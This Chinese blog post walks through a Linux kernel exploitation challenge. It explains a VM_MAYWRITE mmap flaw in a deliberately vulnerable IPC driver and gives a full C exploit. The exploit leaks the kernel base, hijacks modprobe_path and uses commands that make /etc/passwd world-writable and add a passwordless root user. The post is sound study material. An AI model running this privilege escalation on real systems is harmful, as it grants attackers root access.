BFS Ekoparty 2022 -- Linux Kernel Exploitation Challenge

前言

昨天一个师傅给了我一道 linux kernel pwn 题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是 BFS Lab 2022 年的一道招聘题?还一道 window 利用相关的,但我不太会,这两道题目做出来就可以获得面试资格(:这不禁让我想起学校各大公司的招聘宣讲会,扯了一个晚上结果告诉我们回去网申,乐

这里先简单看下其要求:
在这里插入图片描述
可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核 5.15.0-52-generic (目前 2024 已经不是最新了)的 Ubuntu 22.04 VM 上完成利用,如果在开启 SMAP/SMEP 时可以完成利用则会获得额外的加分

环境搭建

目前我虚拟机的内核版本为 6.5.0,所以这里简单切换下内核版本,这里我选择的版本为 5.15.0-72-generic,主要是不想自己源码编译

其给了模块源码,自己编译安装即可,这里给出脚本:

  • Makefile 如下:
obj-m += blunder.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)all:make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
  • install.sh 如下:
#!/bin/sh
sudo insmod blunder.ko
sudo chmod 666 /dev/blunder

漏洞分析

先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情

正如挑战所描述的那样,其实现了一个 IPC 模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与 SCM_RIGHTS 消息非常相似,发送的其实是底层的 struct file 结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程 A 发送数据 data 到进程 B,此时会把 data 挂在 B 对应 blunder_proc 结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程 B 接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:

说实话,跟 sendmsg 系统调用传递 SCM_RIGHTS 辅助消息的底层处理非常像(:可以说是一个阉割版

在这里插入图片描述
这里解释一些结构体:

  • struct blunder_device:总的管理结构,每个进程的 blunder_proc 会被维护成一颗红黑树,其中 blunder_device.procs 就是 RBT 的根
    • context_manager 没啥用(:代码中没啥实现相关操作
// 全局管理结构
struct blunder_device {spinlock_t lock;struct rb_root procs;struct blunder_proc *context_manager;
};
  • struct blunder_proc:每一个打开 /dev/blunder 的进程都会维护一个,其保存在 fileprivate_data
    • struct blunder_alloc alloc 数据缓冲区管理结构,其他进程发送的数据会被保存在里面
    • struct list_head messages 是接收队列,当其他进程给该进程发送消息时,消息会被暂时保存在这里
/** @refcount: number of references for this object.* @rb_node : links procs in blunder_device.* @alloc: the allocator for incoming messages* @handles: rb-tree of handles to other blunder_proc.* @messages: list of IPC messages to be delivered to this proc*/// 每个进程维护一个
struct blunder_proc {struct kref refcount;spinlock_t lock;int pid;int dead;struct rb_node rb_node;		// 与 blunder_device 连接成 RBTstruct blunder_alloc alloc; // 数据缓冲区管理结构struct list_head messages;  // 接收队列
};
  • struct blunder_alloc:缓冲区管理结构
    • mapping 指向缓冲区
    • user_buffer_offset:上面说了,内核缓冲区会被映射到用户空间,user_buffer_offset 表示的就是内核缓冲区的起始地址到被映射到用户空间地址的偏移
    • buffers:待接收数据块链表
/** @mapping: kernel mapping where IPC messages will be received.* @mapping_size: size of the mapping.* @buffers: list of `blunder_buffer` allocations.* @user_buffer_offset: distance between userspace buffer and mapping*/
struct blunder_alloc {spinlock_t lock;void *mapping;size_t mapping_size;ptrdiff_t user_buffer_offset;struct list_head buffers;
};
  • struct blunder_buffer 待接收数据会以如下结构进行保存
struct blunder_buffer {struct list_head buffers_node;atomic_t free;size_t buffer_size;	// buffer 空间的大小size_t data_size;	// 实际存储数据的大小size_t offsets_size;unsigned char data[0];
};
  • struct blunder_message 被挂到接收队列链表的结构
struct blunder_message {struct list_head entry;int opcode;struct blunder_proc *from; // --> pid??struct blunder_buffer *buffer;size_t num_files;struct file **files;
};
  • struct blunder_user_message 用户空间传入结构
struct blunder_user_message {int handle;  // pidint opcode;	void *data;	 // 要发送/接收数据的指针size_t data_size; // 要发送/接收数据的大小size_t *offsets; size_t offsets_size;int *fds;	// fds[num_fds]size_t num_fds;
};

对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:

static int blunder_mmap(struct file *filp, struct vm_area_struct *vma) {
......// sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限// 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWNif (sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) {goto out;}  
......

这里得配合作者给的提示:

主要还是我太菜了,一开始并没觉得有啥问题

在这里插入图片描述
通过作者给的提示可以知道这里虽然检查了 VM_WRITE,但是并没有检查 VM_MAYWRITE,也就是说如果映射时如果带有 VM_MAYWRITE 标志则在后面可以利用 mprotect 赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下 mmap 源码:
在这里插入图片描述
可以发现对于使用 O_RDWR 打开的文件,在进行文件映射时,会默认加上 VM_MAYWRITE 标志,所以整个漏洞就很清晰了:

  • 使用 O_RDWR 打开驱动文件
  • 只使用 PROT_READ 进行 mmap 映射,此时可以通过检查
  • 使用 mprotect 修改被映射区域的权限为可读可写

漏洞利用

这里 mmap 最小的映射大小就是 0x1000,所以对应到内核就是 kmalloc-4k,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:
在这里插入图片描述
最开始我想的是通过修改 buffer_size 去实现越界写,但是发现我的环境开启了 Hardened usercopy,但是这里还是有办法的,那就是在末尾伪造一个 struct blunder_buffer header,这里在进行写入时就不存在跨页了

所以这里我们获得了一个比较强大的原语:

  • kmalloc-4k 堆溢出 【下溢】,并且溢出内容可控

按理说利用就变得简单了,但是我的环境又存在 cg 隔离,导致常用的适配大对象的结构体 pipe_buffer/msg_msg 都不适用,而且这里并不好利用 cross cache 攻击,因为 kmalloc-4kpageperslab 为 8,并且这里的溢出只能是相邻溢出,并且由于 Hardened usercopy 保护,这里最多溢出 0xfd0,所以我们得利用 cross cache 形成如下堆布局才行:
在这里插入图片描述
由于笔者对 cross cache 攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在 GFP_KERNEL 分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod 泄漏 kbase + pgvUSMA 篡改 modprobe_path

这里比较 niceubumodprobe_path 相关保护似乎是关了的,当然没关也无所谓,USMA 劫持 setresuid 相关底层函数也行

所以这里先堆喷形成如下布局:
在这里插入图片描述
然后利用越界写修改 user_key_payload1datalen 从而实现越界读取 user_free_payload_rcu 从而泄漏 kbase

然后在释放掉 user_key_payload1,在申请 pgv 占据该对象,然后在利用越界写修改地址为 modprobe_path 即可完成 USMA 劫持 modprobe_path

最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{system("echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo '\xff\xff\xff\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd");system("su hacker");exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#define IOCTL_BLUNDER_SET_CTX_MGR	_IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG		_IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG		_IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF		_IOWR('s', 4, void *)struct blunder_user_message {int handle;int opcode;void *data;size_t data_size;size_t *offsets;size_t offsets_size;int *fds;size_t num_fds;
};void set_ctx(int fd) {ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0);
}void send_msg(int fd, int topid, void* data, size_t data_size, int* fds, size_t num_fds) {struct blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds };ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n);
}void recv_msg(int fd, int* fds, size_t num_fds) {struct blunder_user_message n = { .fds=fds, .num_fds=num_fds };ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n);
}void free_buf(int fd, unsigned long arg) {ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}void unshare_setup(void)
{char edit[0x100];int tmp_fd;if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))err_exit("FAILED to create a new namespace");tmp_fd = open("/proc/self/setgroups", O_WRONLY);write(tmp_fd, "deny", strlen("deny"));close(tmp_fd);tmp_fd = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getuid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);tmp_fd = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", getgid());write(tmp_fd, edit, strlen(edit));close(tmp_fd);
}#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endifvoid packet_socket_rx_ring_init(int s, unsigned int block_size,unsigned int frame_size, unsigned int block_nr,unsigned int sizeof_priv, unsigned int timeout) {int v = TPACKET_V3;int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);struct tpacket_req3 req;memset(&req, 0, sizeof(req));req.tp_block_size = block_size;req.tp_frame_size = frame_size;req.tp_block_nr = block_nr;req.tp_frame_nr = (block_size * block_nr) / frame_size;req.tp_retire_blk_tov = timeout;req.tp_sizeof_priv = sizeof_priv;req.tp_feature_req_word = 0;rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}int packet_socket_setup(unsigned int block_size, unsigned int frame_size,unsigned int block_nr, unsigned int sizeof_priv, int timeout) {int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));if (s < 0) puts("socket(AF_PACKET)"), exit(-1);packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);struct sockaddr_ll sa;memset(&sa, 0, sizeof(sa));sa.sll_family = PF_PACKET;sa.sll_protocol = htons(ETH_P_ALL);sa.sll_ifindex = if_nametoindex("lo");sa.sll_hatype = 0;sa.sll_pkttype = 0;sa.sll_halen = 0;int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);return s;
}// count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8
// size/4096 为要分配的 order
int pagealloc_pad(int count, int size) {return packet_socket_setup(size, 2048, count, 0, 100);
}#define KEY_NUMS 0x10
#define MAX_FDS 0x10
int main(int argc, char** argv, char** envp)
{bind_core(0);	int pipe_fd[2];pipe(pipe_fd);pid_t pid = fork();if (!pid) {unshare_setup();char* mmap_addr;int key_id[KEY_NUMS];char desc[0x10] = { 0 };char buf[0x10000] = { 0 };int fds[MAX_FDS] = { 0 };uint64_t kheap = 0;uint64_t khead = 0;uint64_t kbase = 0;uint64_t koffset = 0;uint64_t modprobe_path = 0x1e8bb00;int evil_key = -1;int res, flag;int pid = getpid();int fd = open("/dev/blunder", O_RDWR);if (fd < 0) err_exit("open /dev/blunder");for (int i = 0; i < KEY_NUMS / 2; i++) {sprintf(desc, "%s%d", "XiaozaYa", i);key_id[i] = key_alloc(desc, buf, 2032);}mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);if (mmap_addr == MAP_FAILED) err_exit("mmap");for (int i = KEY_NUMS / 2; i < KEY_NUMS; i++) {sprintf(desc, "%s%d", "XiaozaYa", i);key_id[i] = key_alloc(desc, buf, 2032);}printf("[+] mmap_addr: %#llx\n", mmap_addr);if (mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit("mprotect");send_msg(fd, pid, buf, 0x10, NULL, 0);kheap = *(uint64_t*)(mmap_addr) - 0x40;khead = *(uint64_t*)(mmap_addr + 8);printf("[+] kheap: %#llx\n", kheap);printf("[+] khead: %#llx\n", khead);*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100;*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;binary_dump("first  buf", mmap_addr, 0x30);	binary_dump("second buf", mmap_addr+0x1000-0x30, 0x30);	*(uint64_t*)(buf + 16) = 0xfff0;send_msg(fd, pid, buf, 0x20, NULL, 0);binary_dump("use buf", mmap_addr+0x1000-0x30, 0x30);	memset(buf, 0, sizeof(buf));for (int i = 0; i < KEY_NUMS; i++) {res = key_read(key_id[i], buf, 0xfff0);if (res > 0x1000) {printf("[+] key overread data len: %#lx\n", res);		evil_key = i;break;}}	if (evil_key == -1) {write(pipe_fd[1], "N", 1);err_exit("not hit evil_key");}printf("[+] evil_key: %d\n", evil_key);for (int i = 0; i < KEY_NUMS; i++) {if (i != evil_key) {key_revoke(key_id[i]);}}res = key_read(key_id[evil_key], buf, res);int hit_count = 0;for (int i = 0; i < res / 8; i++) {uint64_t val = *(uint64_t*)(buf + i*8);if ((val&0xfff) == 0xa60) {if (kbase == 0) {printf("[+] user_free_payload_rcu: %#llx\n", val);kbase = val - 0x52ba60;koffset = kbase - 0xffffffff81000000;}hit_count++;//break;}}if (kbase == 0) {write(pipe_fd[1], "N", 1);err_exit("Failed to leak kbase");}printf("[+] hit count: %d\n", hit_count);printf("[+] kbase: %#llx\n", kbase);printf("[+] koffset: %#llx\n", koffset);modprobe_path += kbase;printf("[+] modprobe_path: %#llx\n", modprobe_path);key_revoke(key_id[evil_key]);//		key_unlink(key_id[evil_key]);int packet_fd;char* page;		#define TRY_NUMS 0x20int try_keys[TRY_NUMS];int index = 0;memset(desc, 0, sizeof(desc));for (int i = 0; i < 257; i++) {*(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff);}	for (int i = 0; i < TRY_NUMS; i++) {printf("[+] try %d/32\n", i);packet_fd = pagealloc_pad(257, 0x1000);if (packet_fd < 0) {write(pipe_fd[1], "N", 1);perror("pagealloc_pad");exit(-1);	}*(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30;*(uint64_t*)(mmap_addr+0x1000-0x30) = khead;*(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap;*(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1;*(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000;*(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0;send_msg(fd, pid, buf, 257*8, NULL, 0);page = (char*)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);if (page == MAP_FAILED) {write(pipe_fd[1], "N", 1);printf("[x] packet_fd: %d\n", packet_fd);perror("mmap for USMA");exit(-1);}page[strlen("/sbin/modprobe")] = '\x00';printf("[s] hit string: %s\n", &page[modprobe_path&0xfff]);if (!strcmp(&page[modprobe_path&0xfff], "/sbin/modprobe")) {strcpy(&page[modprobe_path&0xfff], "/tmp/x");write(pipe_fd[1], "Y", 1);goto OUT;		}munmap(page, 0x1000*257);close(packet_fd);sprintf(desc, "%s%d", "Try", index);try_keys[index++] = key_alloc(desc, buf, 2032);} write(pipe_fd[1], "N", 1);OUT:puts("[+] Child Porcess Over");exit(0);} else if (pid < 0) {err_exit("fork");} else {char buf[1];read(pipe_fd[0], buf, 1);
//		wait(NULL);sleep(2);if (buf[0] == 'Y') {get_root_shell();}puts("[+] Parent Porcess Over");exit(0);}/*// just testfds[0] = open("./test", O_RDWR);send_msg(fd, pid, buf, 0x10, fds, 1);binary_dump("MMAP DATA", mmap_addr, 0x100);	send_msg(fd, pid, buf, 0x10, fds, 1);binary_dump("MMAP DATA", mmap_addr, 0x100);	recv_msg(fd, &fds[1], 1);printf("%d\n", fds[1]);binary_dump("MMAP DATA", mmap_addr, 0x100);	
*/return 0;
}

最后效果如下:堆喷策略比较简单,所以成功率不算太高
在这里插入图片描述

总结

这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么

相关注释源码和 exp 可在笔者的 github 上下载

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3017844.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

小说阅读网站的设计与实现(论文+源码)_kaic

小说阅读网站的设计与实现 摘 要 伴随着网络技术的不断创新及电子商务的飞速发展&#xff0c;网上阅读的方式日益发挥出其不可替代的优越性&#xff0c;不同的阅读网站也随之蓬勃发展&#xff0c;网上阅读形式以独特的优势&#xff0c;发展蓄势蓬勃。在线阅读作为一种全新的阅…

NVIDIA: RULER新测量方法让大模型现形

1 引言 最近在人工智能系统工程和语言模型设计方面的进展已经实现了语言模型上下文长度的高效扩展。以前的工作通常采用合成任务,如密钥检索和大海捞针来评估长上下文语言模型(LMs)。然而,这些评估在不同工作中使用不一致,仅揭示了检索能力,无法衡量其他形式的长上下文理解。 …

PE文件(四)FileBuffer-ImageBuffer

文件执行的总过程 当文件从硬盘中读入虚拟内存&#xff08;FileBuffer&#xff09;中时&#xff0c;文件数据会被原封不动的复制一份到虚拟内存中&#xff0c;然后进行拉伸对齐。此时虚拟内存中文件数据叫做文件印象或者内存印象&#xff0c;即ImageBuffer。此时ImageBuffer中…

Android 系统启动流程源码分析

一、Init进程启动 是一个由内核启动的用户级进程。内核自行启动之后&#xff0c;就通过启动一个用户级程序init的方式&#xff0c;完成引导进程。 启动的代码init.c中的main函数执行过程&#xff1a;system\core\init.c中&#xff1a; 主要下面两个重要的过程&#xff1a; 1…

Verilog中4bit超前进位加法器

4bit超前进位加法器的逻辑表达式如下&#xff1a; 中间变量GiAiBi&#xff0c;PiAi⊕BiGi​Ai​Bi​&#xff0c;Pi​Ai​⊕Bi​ 和&#xff1a;SiPi⊕Ci−1Si​Pi​⊕Ci−1​&#xff0c;进位&#xff1a;CiGiPiCi−1Ci​Gi​Pi​Ci−1​ 用Verilog语言采用门级描述方式&am…

信息系统项目管理师0092:项目管理原则(6项目管理概论—6.4价值驱动的项目管理知识体系—6.4.1项目管理原则)

点击查看专栏目录 文章目录 6.4价值驱动的项目管理知识体系6.4.1项目管理原则1.原则一:勤勉、尊重和关心他人2.原则二:营造协作的项目管理团队环境3.原则三:促进干系人有效参与4.原则四:聚焦于价值5.原则五:识别、评估和响应系统交互6.原则六:展现领导力行为7.原则七:根…

TOUGH软件教程

原文链接&#xff1a;TOUGH软件教程https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247603355&idx3&sn121a3c3b4e2ab03e11d31f167cbb7639&chksmfa82157ccdf59c6ae8201ae5780c3b037cad06b19268c7e685d5d9dc86aa7458ee7d2c031f6c&token377353807&…

长方形盒子能容纳定宽的长方形物体最大长度

问题 已知长方形盒子长度a和宽度b&#xff0c;放入一宽度w的长方形物体&#xff0c;求长方形物体最大长度L。 答案 MS Excel公式如下&#xff08;其中B1a&#xff0c;B2b&#xff0c;B3w&#xff09;&#xff1a; L SQRT(B1^2B2^2)-B1*B2*B3*2/(B1^2B2^2)注意 当求得 L ≤…

向各位请教一个问题

这是菜鸟上的一道题目&#xff0c;单单拿出来问问大家&#xff0c;看看能不能解惑 &#xff0c;谢谢各位&#xff01; 题目25&#xff1a;求12!3!...20!的和 解题思路&#xff1a;这个题不知道为什么我用DEV C 5.11显示出来为0.000000&#xff0c;可能版本有问题&#xff1f;&a…

【代码分享】使用HTML5的Canvas绘制编码说明图片

最急在工作中遇到一个需求&#xff0c;根据给定的编码生成编码说明&#xff0c;像下面这样的效果。 不同含义的编码用横杠分割&#xff0c;然后每个编码下面用箭头指明具体的含义。下面是我使用canvas实现的代码。具体的编码宽度大家可以根据实际情况进行调整&#xff0c;目前…

大数据硬核技能进阶:Spark3实战智能物业运营系统

Spark Streaming 是 Spark 的一个子模块&#xff0c;用于快速构建可扩展&#xff0c;高吞吐量&#xff0c;高容错的流处理程序。具有以下特点&#xff1a; 大数据硬核技能进阶&#xff1a;Spark3实战智能物业运营系统(网盘超清) 通过高级 API 构建应用程序&#xff0c;简单易…

python 打包为exe可执行程序

近期因为需要做文字识别&#xff0c;应用ocr 所以每次都需要部署环境&#xff0c;然后打算做成exe&#xff0c;遇到问题做一总结。 pyinstaller -D --hidden-importpaddleocr testflask.py 生成exe paddleocr 和pyinstaller 安装不做说明。 No such file or directory: …

HCIP的学习(13)

第五章&#xff0c;重发布和路由策略 重发布 ​ 在路由协议的边界设备上&#xff0c;将某一种路由协议的路由信息引入到另一种路由协议中&#xff0c;这个操作被称为路由引入或者路由重分发。----技术本质为重发布。 条件 必须存在ASBR设备&#xff08;路由边界设备&#x…

数据结构-线性表-应用题-2.2-12

1&#xff09;算法的基本设计思想&#xff1a;依次扫描数组的每一个元素&#xff0c;将第一个遇到的整数num保存到c中&#xff0c;count记为1&#xff0c;若遇到的下一个整数还是等于num,count,否则count--,当计数减到0时&#xff0c;将遇到的下一个整数保存到c中&#xff0c;计…

Shell编程规范和变量

一.Shell脚本概述 Shell脚本的概念 将要执行的命令按顺序保存到一个文本文件给该文件可执行权限可结合各种Shell控制语句以完成更复杂的操作 Shell脚本应用场景 重复性操作交互性任务批量事务处理服务运行状态监控定时任务执行 Shell的作用 1&#xff09;介于系统内核与用…

使用图网络和视频嵌入预测物理场

文章目录 一、说明二、为什么要预测&#xff1f;三、流体动力学模拟的可视化四、DeepMind神经网络建模五、图形编码六、图形处理器七、图形解码器八、具有不同弹簧常数的轨迹可视化九、预测的物理编码和推出轨迹 一、说明 这是一篇国外流体力学专家在可视化流体物理属性的设计…

Apache SeaTunnel 正式发布2.3.5版本,功能增强及多个Bug修复

经过两个月的筹备&#xff0c;我们在2.3.4版本基础上进行了新一轮的迭代&#xff0c;本次更新不仅修复了多个关键问题&#xff0c;还引入了若干重要功能增强和性能优化。 在此&#xff0c;我们先提前感谢社区成员的贡献和支持&#xff0c;如果你想升级最新的版本&#xff0c;快…

Grotesque系列靶机Grotesque1

第一步信息收集&#xff1a; 靶机ip&#xff1a;192.168.108.131 攻击机IP&#xff1a;192.168.108.128 nmap扫描靶机的可用端口&#xff1a; 发现http服务的端口存在66端口和80端口 扫描一下靶机端口的http服务&#xff1a; 可以看到&#xff0c;默认的80端口是不存在的&am…

某制造公司屋顶分布式光伏发电案例分享--分布式光伏电力监控系统解决方案

安科瑞薛瑶瑶18701709087/17343930412 ★分布式光伏监控系统 分布式光伏监控电力系统遵循安全可靠、经济合理原则&#xff0c;满足电力系统自动化总体规划要求&#xff0c;且充分考虑光伏发电的因素&#xff0c;对分布式光伏发电、用电进行集中监控、统一调度、统一运维、满足…

人工神经网络初步

大家好&#xff0c;这里是七七&#xff0c;由于各种比赛的缘故&#xff0c;使用了很多人工神经网络模型。但是很多的原理都不是很明白&#xff0c;就导致了不能灵活地运用┭┮﹏┭┮。为此&#xff0c;去看了些人工神经网络原理书&#xff0c;写下此专题。 在进入正文之前要先…